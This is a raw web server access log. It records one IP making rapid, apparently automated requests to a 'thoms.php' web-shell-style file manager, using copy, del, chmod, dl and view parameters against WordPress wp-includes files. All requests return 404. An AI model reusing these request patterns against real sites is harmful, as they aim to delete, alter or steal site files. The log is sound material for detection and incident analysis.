45.135.193.11 - - [11/Sep/2026:23:59:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffunctions.wp-styles.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fwp-diff.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fwp-diff.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcustomize&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcustomize&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:21 -0400] "GET /thoms.php?del=feed-rdf.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-rdf.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:21 -0400] "GET /thoms.php?chmod=nav-menu.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=nav-menu.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:21 -0400] "GET /thoms.php?chmod=theme.json&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme.json&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:22 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=category.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-json.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-json.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-walker-category.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:22 -0400] "GET /thoms.php?dl=post-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:22 -0400] "GET /thoms.php?del=session.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=session.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:22 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=template-loader.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=template-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:22 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2FPHPMailer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2FPHPMailer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:22 -0400] "GET /thoms.php?dl=icons.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=icons.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:22 -0400] "GET /thoms.php?dl=user.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=user.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:22 -0400] "GET /thoms.php?chmod=block-patterns&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-patterns&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:22 -0400] "GET /thoms.php?chmod=blocks&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=blocks&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:22 -0400] "GET /thoms.php?chmod=certificates&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=certificates&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:22 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-token-map.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-token-map.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:22 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-site.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:22 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=abilities.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=abilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:23 -0400] "GET /thoms.php?dl=class-wp-scripts.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-scripts.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:23 -0400] "GET /thoms.php?del=rest-api.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=rest-api.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:23 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblock-bindings.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblock-bindings.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:23 -0400] "GET /thoms.php?dl=class-wp-comment.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:23 -0400] "GET /thoms.php?chmod=class-wp-matchesmapregex.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-matchesmapregex.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:23 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:23 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:23 -0400] "GET /thoms.php?chmod=class-wp-locale.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:23 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:23 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:23 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=locale.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:23 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-default-filters.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:23 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fstyle-engine&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fstyle-engine&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:23 -0400] "GET /thoms.php?chmod=author-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=author-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:23 -0400] "GET /thoms.php?dl=class-wp-admin-bar.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-admin-bar.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:23 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-ajax-response.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-ajax-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:24 -0400] "GET /thoms.php?dl=class-wp-theme-json-resolver.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-resolver.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:24 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fmedia-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fmedia-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:24 -0400] "GET /thoms.php?del=ms-load.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-load.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:24 -0400] "GET /thoms.php?del=user.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=user.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:24 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:24 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=connectors.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:24 -0400] "GET /thoms.php?dl=taxonomy.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=taxonomy.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:24 -0400] "GET /thoms.php?dl=wp-db.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=wp-db.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:24 -0400] "GET /thoms.php?del=class-wp-block-supports.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-supports.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:24 -0400] "GET /thoms.php?dl=class-wp-oembed-controller.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed-controller.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:24 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:24 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Ffonts HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Ffonts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:24 -0400] "GET /thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:24 -0400] "GET /thoms.php?chmod=class-wp-error.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-error.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:24 -0400] "GET /thoms.php?del=class-wp-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:24 -0400] "GET /thoms.php?del=nav-menu-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=nav-menu-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:25 -0400] "GET /thoms.php?chmod=speculative-loading.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=speculative-loading.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:25 -0400] "GET /thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:25 -0400] "GET /thoms.php?chmod=class-wp-customize-manager.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-manager.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:25 -0400] "GET /thoms.php?chmod=ms-default-filters.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-default-filters.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:25 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fassets HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fassets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:25 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fblock-patterns HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fblock-patterns" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:25 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fjs HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:25 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-type.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:25 -0400] "GET /thoms.php?del=class-wp-dependency.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-dependency.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:25 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:25 -0400] "GET /thoms.php?dl=http.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=http.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:25 -0400] "GET /thoms.php?del=assets&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=assets&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:25 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Frest-api&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Frest-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
